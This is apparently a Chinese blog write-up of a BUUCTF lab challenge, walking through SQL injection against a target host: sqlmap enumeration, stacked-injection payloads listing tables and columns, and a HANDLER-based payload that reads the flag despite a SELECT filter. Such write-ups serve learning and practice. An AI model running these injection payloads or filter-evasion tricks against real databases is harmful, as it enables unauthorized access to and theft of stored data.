打开靶机。
我们输入1'闭合一下试试。

可以看到应该是sql注入。我们用sqlmap扫描一下。
命令:sqlmap -u http://207e83af-288c-42a0-9c66-270c519d0466.node4.buuoj.cn:81/?inject=1

可以看到存在注入点。我们爆库。命令:
sqlmap -u http://207e83af-288c-42a0-9c66-270c519d0466.node4.buuoj.cn:81/?inject=1 --dbs

可以看到爆出的数据库为:supersqli
往下的话就不能用sqlmap了因为有waf,我不会绕,我们手工注入。
已经知道数据库了,我们采用堆叠注入。爆表名:?inject=-1';use supersqli;show tables--+
后面的--+表示#的意思。

可以看到表名是FlagHere然后我们爆字段。?inject=-1';use supersqli;show columns from FlagHere--+

可以看到有一个flag字段。但是select被过滤了。无法继续堆叠注入。我们用handler读取。再知道表名是,可以用handler读取数据。格式为:handler 表名 open;handler 表名 read first;handler 表名 close;
所以我们payload:?inject=1’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;

拿下。
养一下眼。






文章描述了一次针对靶机的SQL注入攻击过程,首先通过sqlmap发现注入点并确定数据库为supersqli,由于WAF的存在,无法继续使用工具,于是采用手工堆叠注入方法,暴露表名FlagHere和字段flag。由于select被过滤,使用handler读取了表FlagHere的数据。
887

被折叠的 条评论
为什么被折叠?



